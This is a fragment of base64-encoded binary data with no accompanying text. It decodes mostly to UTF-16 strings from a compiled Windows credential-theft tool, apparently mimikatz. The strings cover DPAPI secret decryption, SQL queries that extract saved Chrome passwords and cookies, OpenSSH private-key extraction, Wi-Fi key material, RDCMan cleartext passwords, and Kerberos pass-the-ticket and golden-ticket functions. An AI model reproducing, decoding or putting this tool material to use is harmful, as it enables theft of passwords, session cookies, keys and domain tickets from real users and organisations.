CgAAAAAAZABhAHQAYQAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuAAAAZQBuAHQAcgBvAHAAeQAAAG0AYQBjAGgAaQBuAGUAAABwAHIAbwBtAHAAdAAAAAAAYwAAAAoAZABhAHQAYQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAABmAGwAYQBnAHMAIAAgACAAIAAgACAAIAA6ACAAAAAAAHAAcgBvAG0AcAB0ACAAZgBsAGEAZwBzADoAIAAAAAAAZQBuAHQAcgBvAHAAeQAgACAAIAAgACAAOgAgAAAAAABCAGwAbwBiADoACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcAByAG8AdABlAGMAdAAgADsAIABDAHIAeQBwAHQAUAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABwAHIAbwB0AGUAYwB0AGUAZAAAAHM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AUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAGQAbwBtAGEAaQBuAGsAZQB5AF8AYQBkAGQAIAA7ACAATgBvACAARwBVAEkARAAgAG8AcgAgAEsAZQB5AD8AAABMAEUARwBBAEMAWQAAAAAAOwBUAFkAUABFADoAJQBzAAoAAABtAGkAbQBpAGsAYQB0AHoAXwBkAHAAYQBwAGkAXwBjAGEAYwBoAGUALgBuAGQAcgAAAAAAZgBpAGwAZQAAAAAAZgBsAHUAcwBoAAAACgAhACEAIQAgAEYATABVAFMASAAgAGMAYQBjAGgAZQAgACEAIQAhAAoAAABsAG8AYQBkAAAAAAAKAEwATwBBAEQAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAAAAAACgBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAAAAAAKAE0AQQBTAFQARQBSAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAKAEQATwBNAEEASQBOAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAABzAGEAdgBlAAAAAAAKAFMAQQBWAEUAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAAAAAAQQB1AHQAbwAgAFMASQBEACAAZgByAG8AbQAgAHAAYQB0AGgAIABzAGUAZQBtAHMAIAB0AG8AIABiAGUAOgAgACUAcwAKAAAAVwBpAGwAbAAgAGUAbgBjAG8AZABlADoACgAgACoAIAAlADMAdQAgAE0AYQBzAHQAZQByAEsAZQB5ACgAcwApAAoAIAAqACAAJQAzAHUAIABDAHIAZQBkAGUAbgB0AGkAYQBsACgAcwApAAoAIAAqACAAJQAzAHUAIABEAG8AbQBhAGkAbgBLAGUAeQAoAHMAKQAKAAAAAABFAG4AYwBvAGQAZQBkADoACgAgACoAIABhAGQAZAByADoAIAAwAHgAJQBwAAoAIAAqACAAcwBpAHoAZQA6ACAAJQB1AAoAAABXAHIAaQB0AGUAIABmAGkAbABlACAAJwAlAHMAJwA6ACAAAABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAFMAYQB2AGUAVABvAEYAaQBsAGUAIAA7ACAACgBrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAUgBlAGEAZAAgAGYAaQBsAGUAIAAnACUAcwAnADoAIAAAAAAAAAAAACAAKgAgACUAMwB1AC8AJQAzAHUAIABNAGEAcwB0AGUAcgBLAGUAeQAoAHMAKQAgAGkAbQBwAG8AcgB0AGUAZAAKAAAAAAAAACAAKgAgACUAMwB1AC8AJQAzAHUAIABDAHIAZQBkAGUAbgB0AGkAYQBsACgAcwApACAAaQBtAHAAbwByAHQAZQBkAAoAAAAAACAAKgAgACUAMwB1AC8AJQAzAHUAIABEAG8AbQBhAGkAbgBLAGUAeQAoAHMAKQAgAGkAbQBwAG8AcgB0AGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8ATABvAGEAZABGAHIAbwBtAEYAaQBsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABsb2dpbnMAAHNlbGVjdCBzaWdub25fcmVhbG0sIG9yaWdpbl91cmwsIHVzZXJuYW1lX3ZhbHVlLCBwYXNzd29yZF92YWx1ZSBmcm9tIGxvZ2lucwAAAAAACgBVAFIATAAgACAAIAAgACAAOgAgACUALgAqAFMAIAAoACAAJQAuACoAUwAgACkACgBVAHMAZQByAG4AYQBtAGUAOgAgACUALgAqAFMACgAAAAAAUABhAHMAcwB3AG8AcgBkADoAIAAlAC4AKgBTAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABzAHEAbABpAHQAZQAzAF8AcwB0AGUAcAA6ACAAJQBTAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABzAHEAbABpAHQAZQAzAF8AcAByAGUAcABhAHIAZQBfAHYAMgA6ACAAJQBTAAoAAABjb29raWVzAHNlbGVjdCBob3N0X2tleSwgcGF0aCwgbmFtZSwgY3JlYXRpb25fdXRjLCBleHBpcmVzX3V0YywgZW5jcnlwdGVkX3ZhbHVlIGZyb20gY29va2llcyBvcmRlciBieSBob3N0X2tleSwgcGF0aCwgbmFtZQAAAAAAAAoASABvAHMAdAAgACAAOgAgACUALgAqAFMAIAAoACAAJQAuACoAUwAgACkACgBOAGEAbQBlACAAIAA6ACAAJQAuACoAUwAKAEQAYQB0AGUAcwAgADoAIAAAAAAAIAAtAD4AIAAAAAAAQwBvAG8AawBpAGUAOgAgACUALgAqAFMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAE4AZQBpAHQAaABlAHIAIAB0AGgAZQAgAHQAYQBiAGwAZQAgACcAbABvAGcAaQBuAHMAJwAgAG8AcgAgAHQAaABlACAAdABhAGIAbABlACAAJwBjAG8AbwBrAGkAZQBzACcAIABlAHgAaQBzAHQAIQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAIAA7ACAAcwBxAGwAaQB0AGUAMwBfAG8AcABlAG4AXwB2ADIAOgAgACUAUwAgACgAJQBTACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAaAByAG8AbQBlACAAOwAgAHMAcQBsAGkAdABlADMAXwBpAG4AaQB0AGkAYQBsAGkAegBlADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQAgADsAIABJAG4AcAB1AHQAIAAnAEwAbwBnAGkAbgAgAEQAYQB0AGEAJwAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgAiACUAJQBsAG8AYwBhAGwAYQBwAHAAZABhAHQAYQAlACUAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAVQBzAGUAcgAgAEQAYQB0AGEAXABEAGUAZgBhAHUAbAB0AFwATABvAGcAaQBuACAARABhAHQAYQAiACkACgAAAHNlbGVjdCBjb3VudCgqKSBmcm9tIHNxbGl0ZV9tYXN0ZXIgd2hlcmUgdHlwZT0ndGFibGUnIGFuZCBuYW1lPT8AAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBpAHMAVABhAGIAbABlAEUAeABpAHMAdAAgADsAIABzAHEAbABpAHQAZQAzAF8AcwB0AGUAcAA6ACAAJQBTAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwBoAHIAbwBtAGUAXwBpAHMAVABhAGIAbABlAEUAeABpAHMAdAAgADsAIABzAHEAbABpAHQAZQAzAF8AYgBpAG4AZABfAHQAZQB4AHQAOgAgACUAUwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAGgAcgBvAG0AZQBfAGkAcwBUAGEAYgBsAGUARQB4AGkAcwB0ACAAOwAgAHMAcQBsAGkAdABlADMAXwBwAHIAZQBwAGEAcgBlAF8AdgAyADoAIAAlAFMACgAAAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABMAGUAZwBhAGMAeQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAKABzACkAOgAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAOgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYwByAGUAZAAgADsAIABJAG4AcAB1AHQAIABDAFIARQBEACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAABwAG8AbABpAGMAeQAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAFAAbwBsAGkAYwB5ACAASwBlAHkAcwA6AAoAAAAAACAAIABBAEUAUwAxADIAOAAgAGsAZQB5ADoAIAAAAAAAIAAgAEEARQBTADIANQA2ACAAawBlAHkAOgAgAAAAAAAgACAAPgAgAEEAdAB0AHIAaQBiAHUAdABlACAAJQB1ACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoAHAAbwBsAGkAYwB5ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABjAHIAZQBkACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEkAbgBwAHUAdAAgAEMAcgBlAGQAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AYwByAGUAZAA6AGYAaQBsAGUAKQAKAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFACAARQB4AHAAbwByAHQAIABmAGwAYQBnAHMAOgAKAAAAAABIajFkaVE2a3BVeDdWQzRtAAAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAIABQAHIAaQB2AGEAdABlACAASwBlAHkAOgAKAAAAcgBhAHcAXwBzAGkAZwBuAGEAdAB1AHIAZQAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBFAFgAQwBIAEEATgBHAEUAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAAAAAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAEUAWABDAEgAQQBOAEcARQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAAAAHIAYQB3AF8AZQB4AGMAaABhAG4AZwBlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAASQBuAHAAdQB0ACAAQwBBAFAASQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAFAAcgBvAHAAZQByAHQAaQBlAHMAOgAKAAAANmpua2Q1SjNaZFFEdHJzdQAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAeFQ1clpXNXFWVmJydnB1QQAAAAByAGEAdwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAG4AZwAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAEkAbgBwAHUAdAAgAEMATgBHACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAALwAvAFIARABDAE0AYQBuAC8AZgBpAGwAZQAAADwAUgBPAE8AVAA+AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwByAGQAZwAgADsAIABNAGkAcwBzAGkAbgBnACAALwBpAG4AOgBmAGkAbABlAG4AYQBtAGUALgByAGQAZwAKAAAAAABnAHIAbwB1AHAAAABwAHIAbwBwAGUAcgB0AGkAZQBzAAAAAABuAGEAbQBlAAAAAAAlACoAcwA8ACUAcwA+AAoAAAAAACUAKgBzAHwAIAAlAHMACgAAAAAAbABvAGcAbwBuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAdQBzAGUAcgBOAGEAbQBlAAAAAAAlACoAcwAqACAAJQBzACAAXAAgACUAcwAgADoAIAAlAHMACgAAAAAAJQAqAHMAPgA+ACAAYwBsAGUAYQByAHQAZQB4AHQAIABwAGEAcwBzAHcAbwByAGQAOgAgACUALgAqAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcgBkAGcAXwBMAG8AZwBvAG4AQwByAGUAZABlAG4AdABpAGEAbABzACAAOwAgAE0AYQB5AGIAZQAgAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAgAGUAbgBjAHIAeQBwAHQAaQBvAG4AIAAoAHQAbwBkAG8AKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHIAZABnAF8ATABvAGcAbwBuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgADsAIABzAHoARABhAHQAYQA6ACAAJQB1AAoAAABoAGkAdgBlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHMAcwBoACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAF8AQwBsAGEAcwBzAGUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBzAHMAaAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAABTAG8AZgB0AHcAYQByAGUAXABPAHAAZQBuAFMAUwBIAFwAQQBnAGUAbgB0AFwASwBlAHkAcwAAAGkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAACAAKgAgAFQAcgB5AGkAbgBnACAAdABvACAAZwBlAHQAIABhAG4AIABpAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAAdABvAGsAZQBuACAAZgBvAHIAIAAlAHMAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBzAHMAaABfAGsAZQB5AHMANAB1AHMAZQByACAAOwAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AZwBlAHQAVABvAGsAZQBuAHMAVQBuAGkAcQB1AGUALwBrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AFQAbwBrAGUAbgBzAFUAbgBpAHEAdQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBrAGUAeQBzADQAdQBzAGUAcgAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKACAAIAAgAFsAJQBzAF0AIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHMAcwBoAF8AawBlAHkAcwA0AHUAcwBlAHIAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBrAGUAeQBzADQAdQBzAGUAcgAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBJAG4AZgBvAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGMAbwBtAG0AZQBuAHQAAAAgACAAIAAgACAAYwBvAG0AbQBlAG4AdAA6ACAAJQAuACoAUwAKAAAAdAB5AHAAZQAAAAAAIAAgACAAIAAgAHQAeQBwAGUAIAAgACAAOgAgACUAdQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBnAGUAdABLAGUAeQAgADsAIABJAG4AYwBvAG0AcABhAHQAaQBiAGwAZQAgAFIARQBHACAAdAB5AHAAZQA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBnAGUAdABLAGUAeQAgADsAIABOAG8AdAAgAGEAIABSAFMAQQAgAGsAZQB5ACEACgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUAByAGkAbQBpAHQAaQB2AGUAIABQAHIAbwB2AGkAZABlAHIAAAAAAFIAUwBBAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAAUgBTAEEARgBVAEwATABQAFIASQBWAEEAVABFAEIATABPAEIAAAAAAFIAUwBBACAAUABSAEkAVgBBAFQARQAgAEsARQBZAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AcwBzAGgAXwBnAGUAdABSAFMAQQBmAHIAbwBtAFIAQQBXACAAOwAgAEUAbgBjAG8AZABlAEIANgA0AF8AaABlAGEAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHMAcwBoAF8AZwBlAHQAUgBTAEEAZgByAG8AbQBSAEEAVwAgADsAIABCAEMAcgB5AHAAdABFAHgAcABvAHIAdABLAGUAeQAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHMAcwBoAF8AZwBlAHQAUgBTAEEAZgByAG8AbQBSAEEAVwAgADsAIABCAEMAcgB5AHAAdABFAHgAcABvAHIAdABLAGUAeQAoAGkAbgBpAHQAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHMAcwBoAF8AZwBlAHQAUgBTAEEAZgByAG8AbQBSAEEAVwAgADsAIABCAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQBQAGEAaQByADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBzAHMAaABfAGcAZQB0AFIAUwBBAGYAcgBvAG0AUgBBAFcAIAA7ACAATgBvACAAQwBOAEcAIAB3AGgAZQBuACAAZABlAGEAbABpAG4AZwAgAHcAaQB0AGgAIABPAHAAZQBuAFMAUwBIACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzACAAMQAwAD8ACgAAAAAAAAAAAC0ALQAtAC0ALQBCAEUARwBJAE4AIAAlAHMALQAtAC0ALQAtAAoAJQBzAC0ALQAtAC0ALQBFAE4ARAAgACUAcwAtAC0ALQAtAC0ACgAAAAAAUAByAG8AZgBpAGwAZQAgACcAJQBzACcACgAKAAAAAABTAFMASQBEAAAAAAAgACoAIABTAFMASQBEACAAAAAAAG4AYQBtAGUAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAaABlAHgAAABoAGUAeAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAD8ACgAAAAAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAAAAAAAgACoAIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AOgAgACUAcwAKAAAAAABlAG4AYwByAHkAcAB0AGkAbwBuAAAAAAAgACoAIABFAG4AYwByAHkAcAB0AGkAbwBuACAAIAAgACAAOgAgACUAcwAKAAAAAABrAGUAeQBNAGEAdABlAHIAaQBhAGwAAAAgACoAIABLAGUAeQAgAE0AYQB0AGUAcgBpAGEAbAAgACAAOgAgAAAAVwBFAFAAAAAoAGgAZQB4ACkAIAAAAAAAJQAuACoAUwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwBpAGYAaQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwBpAGYAaQAgADsAIABJAG4AcAB1AHQAIABXAGwAYQBuACAAWABNAEwAIABwAHIAbwBmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABOAGEAbQBlAAAAAABBAGMAYwBlAHMAcwBTAHQAcgBpAG4AZwAAAAAAIAAqACAAQQBjAGMAZQBzAHMAUwB0AHIAaQBuAGcAIAAgACAAIAA6ACAAJQBzAAoAAAAAAFMAdQBiAHMAYwByAGkAYgBlAHIASQBEAAAAAAAgACoAIABTAHUAYgBzAGMAcgBpAGIAZQByAEkARAAgACAAOgAgAAAAJQAuACoAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwB3AGEAbgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdwB3AGEAbgAgADsAIABJAG4AcAB1AHQAIABXAHcAYQBuACAAWABNAEwAIABwAHIAbwBmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABLZXJiZXJvcwAAAABwAHQAdAAAAFAAYQBzAHMALQB0AGgAZQAtAHQAaQBjAGsAZQB0ACAAWwBOAFQAIAA2AF0AAAAAAGwAaQBzAHQAAAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAAAAYQBzAGsAAABBAHMAawAgAG8AcgAgAGcAZQB0ACAAVABHAFMAIAB0AGkAYwBrAGUAdABzAAAAAAB0AGcAdAAAAFIAZQB0AHIAaQBlAHYAZQAgAGMAdQByAHIAZQBuAHQAIABUAEcAVAAAAAAAcAB1AHIAZwBlAAAAUAB1AHIAZwBlACAAdABpAGMAawBlAHQAKABzACkAAABnAG8AbABkAGUAbgAAAAAAVwBpAGwAbAB5ACAAVwBvAG4AawBhACAAZgBhAGMAdABvAHIAeQAAAEgAYQBzAGgAIABwAGEAcwBzAHcAbwByAGQAIAB0AG8AIABrAGUAeQBzAAAAcAB0AGMAAABQAGEAcwBzAC0AdABoAGUALQBjAGMAYQBjAGgAZQAgAFsATgBUADYAXQAAAGMAbABpAHMAdAAAAAAAAABMAGkAcwB0ACAAdABpAGMAawBlAHQAcwAgAGkAbgAgAE0ASQBUAC8ASABlAGkAbQBkAGEAbABsACAAYwBjAGEAYwBoAGUAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAAAqACAARABpAHIAZQBjAHQAbwByAHkAOgAgACcAJQBzACcACgAAAAAAKgAuAGsAaQByAGIAaQAAAAoAKgAgAEYAaQBsAGUAOgAgACcAJQBzACcAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAATABzAGEAQwBhAGwAbABLAGUAcgBiAGUAcgBvAHMAUABhAGMAawBhAGcAZQAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAABUAGkAYwBrAGUAdAAoAHMAKQAgAHAAdQByAGcAZQAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIABpAHMAIABPAEsACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAHIAYgBlAHIAbwBzACAAVABHAFQAIABvAGYAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgADoAIAAAAAAACgAKAAkAKgAqACAAUwBlAHMAcwBpAG8AbgAgAGsAZQB5ACAAaQBzACAATgBVAEwATAAhACAASQB0ACAAbQBlAGEAbgBzACAAYQBsAGwAbwB3AHQAZwB0AHMAZQBzAHMAaQBvAG4